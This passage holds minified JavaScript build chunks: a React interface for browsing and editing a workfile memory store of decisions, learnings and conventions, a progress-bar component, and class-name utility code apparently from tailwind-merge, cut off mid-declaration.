i=e.collections.find(e=>e.id===t)||e.collections[0],[a,o]=(0,V.useState)({collection:i?.id||`learnings`,status:i?.statuses[0]||`active`,title:``,category:``,confidence:``,severity:``,expires:``,body:``}),[s,c]=(0,V.useState)(!1),[l,u]=(0,V.useState)(``),d=e.collections.find(e=>e.id===a.collection),f=K(a.collection),m=(e,t)=>o(n=>({...n,[e]:t})),h=t=>{let n=e.collections.find(e=>e.id===t);o(e=>({...e,collection:t,status:n?.statuses[0]||`active`}))},g=async()=>{c(!0);try{r((await C.createMemory({collection:a.collection,title:a.title,status:a.status,body:a.body,category:a.category||void 0,confidence:a.confidence||void 0,severity:a.severity||void 0,expires:a.expires||void 0})).record)}catch(e){u(e instanceof Error?e.message:String(e))}finally{c(!1)}};return(0,H.jsx)(D,{open:!0,onOpenChange:e=>{e||n()},children:(0,H.jsxs)(P,{className:`sm:max-w-[520px]`,"aria-describedby":void 0,children:[(0,H.jsx)(A,{children:(0,H.jsxs)(L,{children:[`New `,d?.singular||`record`]})}),(0,H.jsxs)(`div`,{className:`-m-1 flex max-h-[65vh] flex-col gap-3 overflow-y-auto p-1`,children:[(0,H.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[(0,H.jsx)(J,{id:`memory-create-collection`,label:`Collection`,children:(0,H.jsx)(M,{id:`memory-create-collection`,value:a.collection,onChange:e=>h(e.target.value),children:e.collections.map(e=>(0,H.jsx)(j,{value:e.id,children:e.id},e.id))})}),(0,H.jsx)(J,{id:`memory-create-status`,label:`Status`,children:(0,H.jsx)(M,{id:`memory-create-status`,value:a.status,onChange:e=>m(`status`,e.target.value),children:(d?.statuses||[]).map(e=>(0,H.jsx)(j,{value:e,children:e},e))})})]}),(0,H.jsx)(J,{id:`memory-create-title`,label:`Title`,children:(0,H.jsx)(w,{id:`memory-create-title`,autoFocus:!0,required:!0,maxLength:120,value:a.title,onChange:e=>m(`title`,e.target.value)})}),f.category||f.confidence||f.severity||f.expires?(0,H.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[f.category?(0,H.jsx)(J,{id:`memory-create-category`,label:`Category`,children:(0,H.jsx)(w,{id:`memory-create-category`,value:a.category,onChange:e=>m(`category`,e.target.value)})}):null,f.confidence?(0,H.jsx)(J,{id:`memory-create-confidence`,label:`Confidence`,children:(0,H.jsxs)(M,{id:`memory-create-confidence`,value:a.confidence,onChange:e=>m(`confidence`,e.target.value),children:[(0,H.jsx)(j,{value:``,children:`not set`}),U.map(e=>(0,H.jsx)(j,{value:e,children:e},e))]})}):null,f.severity?(0,H.jsx)(J,{id:`memory-create-severity`,label:`Severity`,children:(0,H.jsxs)(M,{id:`memory-create-severity`,value:a.severity,onChange:e=>m(`severity`,e.target.value),children:[(0,H.jsx)(j,{value:``,children:`not set`}),W.map(e=>(0,H.jsx)(j,{value:e,children:e},e))]})}):null,f.expires?(0,H.jsx)(J,{id:`memory-create-expires`,label:`Expires`,children:(0,H.jsx)(w,{id:`memory-create-expires`,type:`date`,value:a.expires,onChange:e=>m(`expires`,e.target.value)})}):null]}):null,(0,H.jsx)(J,{id:`memory-create-body`,label:`Details`,children:(0,H.jsx)(v,{id:`memory-create-body`,rows:8,value:a.body,onChange:e=>m(`body`,e.target.value)})}),(0,H.jsx)(Z,{message:l})]}),(0,H.jsxs)(k,{children:[(0,H.jsx)(p,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,H.jsx)(p,{type:`button`,disabled:s||!a.title.trim(),onClick:()=>void g(),children:s?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(_,{"aria-hidden":`true`}),`Saving…`]}):`Create record`})]})]})})}function Q({record:e,statuses:t,onClose:n,onUpdated:r}){let i=K(e.collection),[a,o]=(0,V.useState)({title:e.title,status:e.status,category:e.category||``,confidence:e.confidence||``,severity:e.severity||``,expires:e.expires||``,review_after:e.review_after||``,body:e.body}),[s,c]=(0,V.useState)(!1),[l,u]=(0,V.useState)(``),d=(e,t)=>o(n=>({...n,[e]:t})),f=async()=>{let t={};a.title.trim()&&a.title!==e.title&&(t.title=a.title),a.status!==e.status&&(t.status=a.status),a.body!==e.body&&(t.body=a.body);for(let n of[`category`,`confidence`,`severity`,`expires`,`review_after`])a[n]!==(e[n]||``)&&(t[n]=a[n]||null);if(!Object.keys(t).length){n();return}c(!0);try{r((await C.patchMemory(e.id,t,e.revision)).record),n()}catch(e){u(e instanceof Error?e.message:String(e))}finally{c(!1)}};return(0,H.jsx)(D,{open:!0,onOpenChange:e=>{e||n()},children:(0,H.jsxs)(P,{className:`sm:max-w-[520px]`,"aria-describedby":void 0,children:[(0,H.jsx)(A,{children:(0,H.jsxs)(L,{children:[`Edit `,e.id]})}),(0,H.jsxs)(`div`,{className:`-m-1 flex max-h-[65vh] flex-col gap-3 overflow-y-auto p-1`,children:[(0,H.jsx)(J,{id:`memory-edit-title`,label:`Title`,children:(0,H.jsx)(w,{id:`memory-edit-title`,autoFocus:!0,required:!0,maxLength:120,value:a.title,onChange:e=>d(`title`,e.target.value)})}),(0,H.jsxs)(`div`,{className:`grid grid-cols-2 gap-2.5`,children:[(0,H.jsx)(J,{id:`memory-edit-status`,label:`Status`,children:(0,H.jsx)(M,{id:`memory-edit-status`,value:a.status,onChange:e=>d(`status`,e.target.value),children:(t.includes(a.status)?t:[a.status,...t]).map(e=>(0,H.jsx)(j,{value:e,children:e},e))})}),i.category?(0,H.jsx)(J,{id:`memory-edit-category`,label:`Category`,children:(0,H.jsx)(w,{id:`memory-edit-category`,value:a.category,onChange:e=>d(`category`,e.target.value)})}):null,i.confidence?(0,H.jsx)(J,{id:`memory-edit-confidence`,label:`Confidence`,children:(0,H.jsxs)(M,{id:`memory-edit-confidence`,value:a.confidence,onChange:e=>d(`confidence`,e.target.value),children:[(0,H.jsx)(j,{value:``,children:`not set`}),U.map(e=>(0,H.jsx)(j,{value:e,children:e},e))]})}):null,i.severity?(0,H.jsx)(J,{id:`memory-edit-severity`,label:`Severity`,children:(0,H.jsxs)(M,{id:`memory-edit-severity`,value:a.severity,onChange:e=>d(`severity`,e.target.value),children:[(0,H.jsx)(j,{value:``,children:`not set`}),W.map(e=>(0,H.jsx)(j,{value:e,children:e},e))]})}):null,i.expires?(0,H.jsx)(J,{id:`memory-edit-expires`,label:`Expires`,children:(0,H.jsx)(w,{id:`memory-edit-expires`,type:`date`,value:a.expires,onChange:e=>d(`expires`,e.target.value)})}):null,i.review_after?(0,H.jsx)(J,{id:`memory-edit-review-after`,label:`Review after`,children:(0,H.jsx)(w,{id:`memory-edit-review-after`,type:`date`,value:a.review_after,onChange:e=>d(`review_after`,e.target.value)})}):null]}),(0,H.jsx)(J,{id:`memory-edit-body`,label:`Details`,children:(0,H.jsx)(v,{id:`memory-edit-body`,rows:10,value:a.body,onChange:e=>d(`body`,e.target.value)})}),(0,H.jsx)(Z,{message:l})]}),(0,H.jsxs)(k,{children:[(0,H.jsx)(p,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,H.jsx)(p,{type:`button`,disabled:s||!a.title.trim(),onClick:()=>void f(),children:s?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(_,{"aria-hidden":`true`}),`Saving…`]}):`Save changes`})]})]})})}function ue({record:e,mode:t,onClose:n,onUpdated:r}){let[i,a]=(0,V.useState)(``),[o,s]=(0,V.useState)(!1),[c,l]=(0,V.useState)(``),u=async()=>{s(!0);try{r((t===`graduate`?await C.graduateMemory(e.id,i.split(`,`).map(e=>e.trim()).filter(Boolean),e.revision):await C.supersedeMemory(e.id,i.trim(),e.revision)).record),n()}catch(e){l(e instanceof Error?e.message:String(e))}finally{s(!1)}};return(0,H.jsx)(D,{open:!0,onOpenChange:e=>{e||n()},children:(0,H.jsxs)(P,{className:`sm:max-w-[420px]`,"aria-describedby":void 0,children:[(0,H.jsx)(A,{children:(0,H.jsxs)(L,{children:[t===`graduate`?`Graduate`:`Supersede`,` `,e.id]})}),(0,H.jsxs)(`div`,{className:`flex flex-col gap-3`,children:[(0,H.jsx)(J,{id:`memory-lifecycle-target`,label:t===`graduate`?`Target IDs`:`Replacement ID`,children:(0,H.jsx)(w,{id:`memory-lifecycle-target`,autoFocus:!0,placeholder:t===`graduate`?`CONV-0001, DOC-0004`:`ADR-0009`,value:i,onChange:e=>a(e.target.value)})}),(0,H.jsx)(Z,{message:c})]}),(0,H.jsxs)(k,{children:[(0,H.jsx)(p,{type:`button`,variant:`outline`,onClick:n,children:`Cancel`}),(0,H.jsx)(p,{type:`button`,disabled:o||!i.trim(),onClick:()=>void u(),children:o?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(_,{"aria-hidden":`true`}),`Saving…`]}):`Apply`})]})]})})}function de({record:e,statuses:t,onOpenRelation:n,onOpenRecord:r,onUpdated:a,onDialogOpenChange:s}){let[l,u]=(0,V.useState)(!1),[m,h]=(0,V.useState)(``),_=l||!!m;(0,V.useEffect)(()=>{s?.(_)},[_,s]);let v=e.collection===`learnings`&&e.status!==`graduated`,y=[`learnings`,`decisions`,`conventions`].includes(e.collection),b=[[`status`,e.status,f(e.status)]];return e.category&&b.push([`category`,e.category]),e.confidence&&b.push([`confidence`,e.confidence]),e.severity&&b.push([`severity`,e.severity,d(e.severity)]),e.occurrences!=null&&b.push([`occurrences`,String(e.occurrences)]),e.expires&&b.push([`expires`,e.expires]),e.review_after&&b.push([`review after`,e.review_after]),e.started_at&&b.push([`started`,e.started_at]),e.resolved_at&&b.push([`resolved`,e.resolved_at]),e.graduated_to?.length&&b.push([`graduated to`,e.graduated_to.join(`, `)]),e.superseded_by?.length&&b.push([`superseded by`,e.superseded_by.join(`, `)]),e.owners?.length&&b.push([`owners`,e.owners.join(`, `)]),b.push([`updated`,e.updated||`—`]),(0,H.jsxs)(`aside`,{"aria-label":`Memory record`,className:`flex min-h-0 flex-col overflow-hidden border-l bg-background`,children:[(0,H.jsxs)(`div`,{className:`flex h-11 shrink-0 items-center gap-2 border-b px-3.5`,children:[(0,H.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:e.id}),(0,H.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground/60`,children:`·`}),(0,H.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground`,children:e.collection}),(0,H.jsx)(`span`,{className:`font-mono text-[11px] text-muted-foreground/60`,children:`·`}),(0,H.jsx)(`span`,{className:`font-mono text-[11px]`,style:{color:f(e.status)},children:e.status})]}),(0,H.jsxs)(`div`,{className:`flex min-h-0 flex-1 flex-col gap-3.5 overflow-y-auto p-4`,children:[(0,H.jsxs)(`div`,{className:`flex flex-col gap-1.5`,children:[(0,H.jsx)(`h2`,{className:`m-0 text-[17px] font-semibold leading-[1.3] tracking-[-0.01em] [text-wrap:pretty]`,children:e.title}),e.path?(0,H.jsx)(`span`,{className:`break-all font-mono text-[10.5px] text-muted-foreground`,children:e.path}):null]}),(0,H.jsx)(`div`,{className:`grid grid-cols-2 gap-x-3 gap-y-2`,children:b.map(([e,t,n])=>(0,H.jsxs)(`span`,{className:`flex flex-col gap-0.5`,children:[(0,H.jsx)(`span`,{className:`text-[10px] font-medium uppercase tracking-wide text-muted-foreground`,children:e}),(0,H.jsx)(`span`,{className:`text-sm`,style:n?{color:n}:void 0,children:t})]},e))}),(0,H.jsx)(Y,{issues:e.issues,kind:`validation`}),(0,H.jsx)(Y,{issues:e.lifecycleIssues||[],kind:`lifecycle`}),(0,H.jsx)(g,{className:`[--typeset-size:0.875rem]`,source:e.body||`No details recorded.`,onOpen:r}),(0,H.jsx)(X,{label:`Links to`,links:e.outgoing,onOpen:n}),(0,H.jsx)(X,{label:`Backlinks`,links:e.incoming,onOpen:n}),(0,H.jsxs)(`div`,{className:`flex flex-wrap gap-2`,children:[(0,H.jsxs)(p,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>u(!0),children:[(0,H.jsx)(i,{"aria-hidden":`true`}),`Edit`]}),v?(0,H.jsxs)(p,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>h(`graduate`),children:[(0,H.jsx)(c,{"aria-hidden":`true`}),`Graduate`]}):null,y?(0,H.jsxs)(p,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>h(`supersede`),children:[(0,H.jsx)(o,{"aria-hidden":`true`}),`Supersede`]}):null]})]}),l?(0,H.jsx)(Q,{record:e,statuses:t,onClose:()=>u(!1),onUpdated:a}):null,m?(0,H.jsx)(ue,{record:e,mode:m,onClose:()=>h(``),onUpdated:a}):null]})}function $(e,t){return e.find(e=>e.id===t)?.statuses||[]}function fe({id:e,schema:t,onSelect:n,onOpenRecord:r,onDialogOpenChange:i,onChanged:a}){let[o,s]=(0,V.useState)(null),[c,l]=(0,V.useState)(``);return(0,V.useEffect)(()=>{let t=!0;return s(null),l(``),C.record(e).then(e=>{t&&s(e.record)}).catch(e=>{t&&l(e.message)}),()=>{t=!1}},[e]),c?(0,H.jsx)(`div`,{className:`px-4 py-3 text-xs text-muted-foreground`,children:c}):o?(0,H.jsx)(de,{record:o,statuses:$(t.collections,o.collection),onOpenRelation:n,onOpenRecord:r,onUpdated:e=>{s(e),a?.()},onDialogOpenChange:i},o.id):(0,H.jsxs)(`div`,{className:`flex items-center gap-2 px-4 py-3 text-sm text-muted-foreground`,children:[(0,H.jsx)(_,{}),` Reading `,e,`…`]})}function pe({selectedId:e,onSelect:t,onOpenRecord:n,schema:i}){let[a,o]=(0,V.useState)([]),[c,l]=(0,V.useState)(``),[d,m]=(0,V.useState)(``),[g,v]=(0,V.useState)(``),[x,S]=(0,V.useState)(!0),[w,T]=(0,V.useState)(``),[E,D]=(0,V.useState)(null),k=(0,V.useRef)(0),A=(0,V.useCallback)(e=>{k.current=performance.now(),t(e)},[t]),[j,M]=(0,V.useState)(0);ee(e=>{b(e,`/memory/`)&&M(e=>e+1)}),(0,V.useEffect)(()=>{let e=async()=>{S(!0);try{let e=await C.memory(c.trim(),{collection:d||void 0,status:g||void 0});o(e.records),T(``)}catch(e){T(e instanceof Error?e.message:String(e))}finally{S(!1)}},t=window.setTimeout(()=>void e(),c?180:0);return()=>window.clearTimeout(t)},[c,d,g,j]);let P=(0,V.useMemo)(()=>[...a].sort((e,t)=>String(t.updated||``).localeCompare(String(e.updated||``))||e.title.localeCompare(t.title)),[a]),F=(0,V.useMemo)(()=>{let e=i.collections.filter(e=>!d||e.id===d).map(e=>({schema:e,records:P.filter(t=>t.collection===e.id)})),t=new Set(i.collections.map(e=>e.id)),n=P.filter(e=>!t.has(e.collection));return n.length&&e.push({schema:{id:`other`,singular:`record`,idPrefix:`?`,statuses:[]},records:n}),e},[i.collections,P,d]);P.find(t=>t.id===e);let L=d?$(i.collections,d):[...new Set(i.collections.flatMap(e=>e.statuses))];return(0,H.jsxs)(H.Fragment,{children:[(0,H.jsxs)(`div`,{className:`flex flex-wrap items-center gap-2 px-3.5 pt-3.5`,children:[(0,H.jsxs)(te,{className:`w-full min-w-[180px] sm:w-[260px]`,children:[(0,H.jsx)(ie,{children:(0,H.jsx)(r,{"aria-hidden":`true`})}),(0,H.jsx)(z,{type:`search`,"aria-label":`Search workfile memory`,placeholder:`Search decisions, incidents, learnings…`,value:c,onChange:e=>l(e.target.value)})]}),(0,H.jsx)(q,{label:`collection`,value:d,options:i.collections.map(e=>({value:e.id})),onChange:e=>{m(e),v(``)}}),(0,H.jsx)(q,{label:`status`,value:g,options:L.map(e=>({value:e,color:f(e)})),onChange:v}),(0,H.jsx)(`span`,{className:`ml-auto flex shrink-0 items-center gap-1.5 whitespace-nowrap font-mono text-[11px] text-muted-foreground`,children:x?(0,H.jsxs)(H.Fragment,{children:[(0,H.jsx)(_,{"aria-hidden":`true`,className:`size-3`}),`loading…`]}):G(a.length,`record`)})]}),w?(0,H.jsx)(R,{variant:`destructive`,className:`mx-3.5 mt-3 w-auto px-3 py-2`,children:(0,H.jsxs)(O,{children:[`Memory could not be loaded: `,w]})}):null,(0,H.jsx)(`div`,{className:`flex min-h-0 flex-1 gap-3 overflow-hidden p-3.5`,children:(0,H.jsx)(`div`,{className:`flex min-h-0 flex-1 gap-3 overflow-x-auto`,children:F.map(t=>(0,H.jsxs)(B,{className:`w-[272px] flex-none gap-0 overflow-hidden rounded-xl py-0 [--card-spacing:--spacing(2)]`,children:[(0,H.jsxs)(y,{className:`flex flex-row items-center gap-2 border-b px-3 py-2`,children:[(0,H.jsx)(`span`,{className:`font-mono text-[11px] font-medium text-primary`,children:t.schema.idPrefix}),(0,H.jsx)(`span`,{className:`flex-1 text-[12.5px] font-semibold`,children:oe(t.schema.singular)}),(0,H.jsx)(I,{variant:`secondary`,className:`h-5 px-1.5 font-mono text-[11px] font-normal`,children:t.records.length}),t.schema.id===`other`?null:(0,H.jsx)(p,{type:`button`,variant:`ghost`,size:`icon-xs`,"aria-label":`New ${t.schema.singular}`,onClick:()=>D(t.schema.id),children:(0,H.jsx)(s,{"aria-hidden":`true`})})]}),(0,H.jsxs)(h,{className:u(`flex min-h-0 flex-1 flex-col gap-2 overflow-y-auto p-2.5`,ae),children:[t.records.map(t=>(0,H.jsx)(ce,{record:t,selected:t.id===e,onSelect:()=>A(t.id)},t.id)),!t.records.length&&!x?(0,H.jsx)(ne,{className:`gap-1 border border-dashed p-4 md:p-6`,children:(0,H.jsx)(N,{className:`font-mono text-xs`,children:`no records`})}):null]})]},t.schema.id))})}),E===null?null:(0,H.jsx)(le,{schema:i,initialCollection:E,onClose:()=>D(null),onCreated:e=>{D(null),o(t=>[e,...t]),t(e.id)}})]})}export{fe as MemoryPanel,pe as MemoryView}; |
| import"./rolldown-runtime-CbXtAM7H.js";import{i as e,t}from"./react-Buq45Vzz.js";import{c as n,s as r}from"./ui-primitives-Beqd9I2k.js";import{c as i}from"./theme-CNCrPl--.js";e();var a=t();function o({className:e,value:t,...o}){return(0,a.jsx)(n,{"data-slot":`progress`,className:i(`relative h-2 w-full overflow-hidden rounded-full bg-primary/20`,e),...o,children:(0,a.jsx)(r,{"data-slot":`progress-indicator`,className:`h-full w-full flex-1 bg-primary transition-all`,style:{transform:`translateX(-${100-(t||0)}%)`}})})}export{o as t}; |
| import"./rolldown-runtime-CbXtAM7H.js";import{i as e,t}from"./react-Buq45Vzz.js";import{F as n}from"./ui-primitives-Beqd9I2k.js";e();function r(e){var t,n,i=``;if(typeof e==`string`||typeof e==`number`)i+=e;else if(typeof e==`object`)if(Array.isArray(e)){var a=e.length;for(t=0;t<a;t++)e[t]&&(n=r(e[t]))&&(i&&(i+=` `),i+=n)}else for(n in e)e[n]&&(i&&(i+=` `),i+=n);return i}function i(){for(var e,t,n=0,i=``,a=arguments.length;n<a;n++)(e=arguments[n])&&(t=r(e))&&(i&&(i+=` `),i+=t);return i}var a=e=>typeof e==`boolean`?`${e}`:e===0?`0`:e,o=i,s=(e,t)=>n=>{if(t?.variants==null)return o(e,n?.class,n?.className);let{variants:r,defaultVariants:i}=t,s=Object.keys(r).map(e=>{let t=n?.[e],o=i?.[e];if(t===null)return null;let s=a(t)||a(o);return r[e][s]}),c=n&&Object.entries(n).reduce((e,t)=>{let[n,r]=t;return r===void 0||(e[n]=r),e},{});return o(e,s,t?.compoundVariants?.reduce((e,t)=>{let{class:n,className:r,...a}=t;return Object.entries(a).every(e=>{let[t,n]=e;return Array.isArray(n)?n.includes({...i,...c}[t]):{...i,...c}[t]===n})?[...e,n,r]:e},[]),n?.class,n?.className)},c=(e,t)=>{let n=Array(e.length+t.length);for(let t=0;t<e.length;t++)n[t]=e[t];for(let r=0;r<t.length;r++)n[e.length+r]=t[r];return n},l=(e,t)=>({classGroupId:e,validator:t}),u=(e=new Map,t=null,n)=>({nextPart:e,validators:t,classGroupId:n}),d=`-`,f=[],p=`arbitrary..`,m=e=>{let t=_(e),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=e;return{getClassGroupId:e=>{if(e.startsWith(`[`)&&e.endsWith(`]`))return g(e);let n=e.split(d);return h(n,+(n[0]===``&&n.length>1),t)},getConflictingClassGroupIds:(e,t)=>{if(t){let t=r[e],i=n[e];return t?i?c(i,t):t:i||f}return n[e]||f}}},h=(e,t,n)=>{if(e.length-t===0)return n.classGroupId;let r=e[t],i=n.nextPart.get(r);if(i){let n=h(e,t+1,i);if(n)return n}let a=n.validators;if(a===null)return;let o=t===0?e.join(d):e.slice(t).join(d),s=a.length;for(let e=0;e<s;e++){let t=a[e];if(t.validator(o))return t.classGroupId}},g=e=>e.slice(1,-1).indexOf(`:`)===-1?void 0:(()=>{let t=e.slice(1,-1),n=t.indexOf(`:`),r=t.slice(0,n);return r?p+r:void 0})(),_=e=>{let{theme:t,classGroups:n}=e;return v(n,t)},v=(e,t)=>{let n=u();for(let r in e){let i=e[r];y(i,n,r,t)}return n},y=(e,t,n,r)=>{let i=e.length;for(let a=0;a<i;a++){let i=e[a];b(i,t,n,r)}},b=(e,t,n,r)=>{if(typeof e==`string`){x(e,t,n);return}if(typeof e==`function`){ee(e,t,n,r);return}S(e,t,n,r)},x=(e,t,n)=>{let r=e===``?t:C(t,e);r.classGroupId=n},ee=(e,t,n,r)=>{if(w(e)){y(e(r),t,n,r);return}t.validators===null&&(t.validators=[]),t.validators.push(l(n,e))},S=(e,t,n,r)=>{let i=Object.entries(e),a=i.length;for(let e=0;e<a;e++){let[a,o]=i[e];y(o,C(t,a),n,r)}},C=(e,t)=>{let n=e,r=t.split(d),i=r.length;for(let e=0;e<i;e++){let t=r[e],i=n.nextPart.get(t);i||(i=u(),n.nextPart.set(t,i)),n=i}return n},w=e=>`isThemeGetter`in e&&e.isThemeGetter===!0,te=e=>{if(e<1)return{get:()=>void 0,set:()=>{}};let t=0,n=Object.create(null),r=Object.create(null),i=(i,a)=>{n[i]=a,t++,t>e&&(t=0,r=n,n=Object.create(null))};return{get(e){let t=n[e];if(t!==void 0)return t;if((t=r[e])!==void 0)return i(e,t),t},set(e,t){e in n?n[e]=t:i(e,t)}}},T=`!`,E=`:`,ne=[],D=(e,t,n,r,i)=>({modifiers:e,hasImportantModifier:t,baseClassName:n,maybePostfixModifierPosition:r,isExternal:i}),O=e=>{let{prefix:t,experimentalParseClassName:n}=e,r=e=>{let t=[],n=0,r=0,i=0,a,o=e.length;for(let s=0;s<o;s++){let o=e[s];if(n===0&&r===0){if(o===E){t.push(e.slice(i,s)),i=s+1;continue}if(o===`/`){a=s;continue}}o===`[`?n++:o===`]`?n--:o===`(`?r++:o===`)`&&r--}let s=t.length===0?e:e.slice(i),c=s,l=!1;s.endsWith(T)?(c=s.slice(0,-1),l=!0):s.startsWith(T)&&(c=s.slice(1),l=!0);let u=a&&a>i?a-i:void 0;return D(t,l,c,u)};if(t){let e=t+E,n=r;r=t=>t.startsWith(e)?n(t.slice(e.length)):D(ne,!1,t,void 0,!0)}if(n){let e=r;r=t=>n({className:t,parseClassName:e})}return r},k=e=>{let t=new Map;return e.orderSensitiveModifiers.forEach((e,n)=>{t.set(e,1e6+n)}),e=>{let n=[],r=[];for(let i=0;i<e.length;i++){let a=e[i],o=a[0]===`[`,s=t.has(a);o||s?(r.length>0&&(r.sort(),n.push(...r),r=[]),n.push(a)):r.push(a)}return r.length>0&&(r.sort(),n.push(...r)),n}},A=e=>({cache:te(e.cacheSize),parseClassName:O(e),sortModifiers:k(e),postfixLookupClassGroupIds:j(e),...m(e)}),j=e=>{let t=Object.create(null),n=e.postfixLookupClassGroups;if(n)for(let e=0;e<n.length;e++)t[n[e]]=!0;return t},re=/\s+/,M=(e,t)=>{let{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:i,sortModifiers:a,postfixLookupClassGroupIds:o}=t,s=[],c=e.trim().split(re),l=``;for(let e=c.length-1;e>=0;--e){let t=c[e],{isExternal:u,modifiers:d,hasImportantModifier:f,baseClassName:p,maybePostfixModifierPosition:m}=n(t);if(u){l=t+(l.length>0?` `+l:l);continue}let h=!!m,g;if(h){g=r(p.substring(0,m));let e=g&&o[g]?r(p):void 0;e&&e!==g&&(g=e,h=!1)}else g=r(p);if(!g){if(!h){l=t+(l.length>0?` `+l:l);continue}if(g=r(p),!g){l=t+(l.length>0?` `+l:l);continue}h=!1}let _=d.length===0?``:d.length===1?d[0]:a(d).join(`:`),v=f?_+T:_,y=v+g;if(s.indexOf(y)>-1)continue;s.push(y);let b=i(g,h);for(let e=0;e<b.length;++e){let t=b[e];s.push(v+t)}l=t+(l.length>0?` `+l:l)}return l},ie=(...e)=>{let t=0,n,r,i=``;for(;t<e.length;)(n=e[t++])&&(r=N(n))&&(i&&(i+=` `),i+=r);return i},N=e=>{if(typeof e==`string`)return e;let t,n=``;for(let r=0;r<e.length;r++)e[r]&&(t=N(e[r]))&&(n&&(n+=` `),n+=t);return n},ae=(e,...t)=>{let n,r,i,a,o=o=>(n=A(t.reduce((e,t)=>t(e),e())),r=n.cache.get,i=n.cache.set,a=s,s(o)),s=e=>{let t=r(e);if(t)return t;let a=M(e,n);return i(e,a),a};return a=o,(...e)=>a(ie(...e))},P=[],F=e=>{let t=t=>t[e]||P;return t.isThemeGetter=!0,t},I=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,L=/^\((?:(\w[\w-]*):)?(.+)\)$/i,R=/^\d+(?:\.\d+)?\/\d+(?:\.\d+)?$/,oe=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,z=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,se=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,B=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,V=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,H=e=>R.test(e),U=e=>!!e&&!Number.isNaN(Number(e)),W=e=>!!e&&Number.isInteger(Number(e)),ce=e=>e.endsWith(`%`)&&U(e.slice(0,-1)),G=e=>oe.test(e),le=()=>!0,K=e=>z.test(e)&&!se.test(e),q=()=>!1,ue=e=>B.test(e),de=e=>V.test(e),fe=e=>!J(e)&&!X(e),pe=e=>e.startsWith(`@container`)&&(e[10]===`/`&&e[11]!==void 0||e[11]===`s`&&e[16]!==void 0&&e.startsWith(`-size/`,10)||e[11]===`n`&&e[18]!==void 0&&e.startsWith(`-normal/`,10)),me=e=>Q(e,ke,q),J=e=>I.test(e),Y=e=>Q(e,Ae,K),he=e=>Q(e,je,U),ge=e=>Q(e,Ne,le),_e=e=>Q(e,Me,q),ve=e=>Q(e,De,q),ye=e=>Q(e,Oe,de),be=e=>Q(e,Pe,ue),X=e=>L.test(e),Z=e=>$(e,Ae),xe=e=>$(e,Me),Se=e=>$(e,De),Ce=e=>$(e,ke),we=e=>$(e,Oe),Te=e=>$(e,Pe,!0),Ee=e=>$(e,Ne,!0),Q=(e,t,n)=>{let r=I.exec(e);return r?r[1]?t(r[1]):n(r[2]):!1},$=(e,t,n=!1)=>{let r=L.exec(e);return r?r[1]?t(r[1]):n:!1},De=e=>e===`position`||e===`percentage`,Oe=e=>e===`image`||e===`url`,ke=e=>e===`length`||e===`size`||e===`bg-size`,Ae=e=>e===`length`,je=e=>e===`number`,Me=e=>e===`family-name`,Ne=e=>e===`number`||e===`weight`,Pe=e=>e===`shadow`,Fe=ae(()=>{let e=F(`color`),t=F(`font`),n=F(`text`),r=F(`font-weight`),i=F(`tracking`),a=F(`leading`),o=F(`breakpoint`),s=F(`container`),c=F(`spacing`),l=F(`radius`),u=F(`shadow`),d=F(`inset-shadow`),f=F(`text-shadow`),p=F(`drop-shadow`),m=F(`blur`),h=F(`perspective`),g=F(`aspect`),_=F(`ease`),v=F(`animate`),y=()=>[`auto`,`avoid`,`all`,`avoid-page`,`page`,`left`,`right`,`column`],b=()=>[`center`,`top`,`bottom`,`left`,`right`,`top-left`,`left-top`,`top-right`,`right-top`,`bottom-right`,`right-bottom`,`bottom-left`,`left-bottom`],x=()=>[...b(),X,J],ee=()=>[`auto`,`hidden`,`clip`,`visible`,`scroll`],S=()=>[`auto`,`contain`,`none`],C=()=>[X,J,c],w=()=>[H,`full`,`auto`,...C()],te=()=>[W,`none`,`subgrid`,X,J],T=()=>[`auto`,{span:[`full`,W,X,J]},W,X,J],E=()=>[W,`auto`,X,J],ne=()=>[`auto`,`min`,`max`,`fr`,X,J],D=()=>[`start`,`end`,`center`,`between`,`around`,`evenly`,`stretch`,`baseline`,`center-safe`,`end-safe`],O=()=>[`start`,`end`,`center`,`stretch`,`center-safe`,`end-safe`],k=()=>[`auto`,...C()],A=()=>[H,`auto`,`full`,`dvw`,`dvh`,`lvw`,`lvh`,`svw`,`svh`,`min`,`max`,`fit`,...C()],j=()=>[H,`screen`,`full`,`dvw`,`lvw`,`svw`,`min`,`max`,`fit`,...C()],re=()=>[H,`screen`,`full`,`lh`,`dvh`,`lvh`,`svh`,`min`,`max`,`fit`,...C()],M=()=>[e,X,J],ie=()=>[...b(),Se,ve,{position:[X,J]}],N=()=>[`no-repeat`,{repeat:[``,`x`,`y`,`space`,`round`]}],ae=()=>[`auto`,`cover`,`contain`,Ce,me,{size:[X,J]}],P=()=>[ce,Z,Y],I=()=>[``,`none`,`full`,l,X,J],L=()=>[``,U,Z,Y],R=()=>[`solid`,`dashed`,`dotted`,`double`],oe=()=>[`normal`,`multiply`,`screen`,`overlay`,`darken`,`lighten`,`color-dodge`,`color-burn`,`hard-light`,`soft-light`,`difference`,`exclusion`,`hue`,`saturation`,`color`,`luminosity`],z=()=>[U,ce,Se,ve],se=()=>[``,`none`,m,X,J],B=()=>[`none`,U,X,J],V=()=>[`none`,U,X,J],K=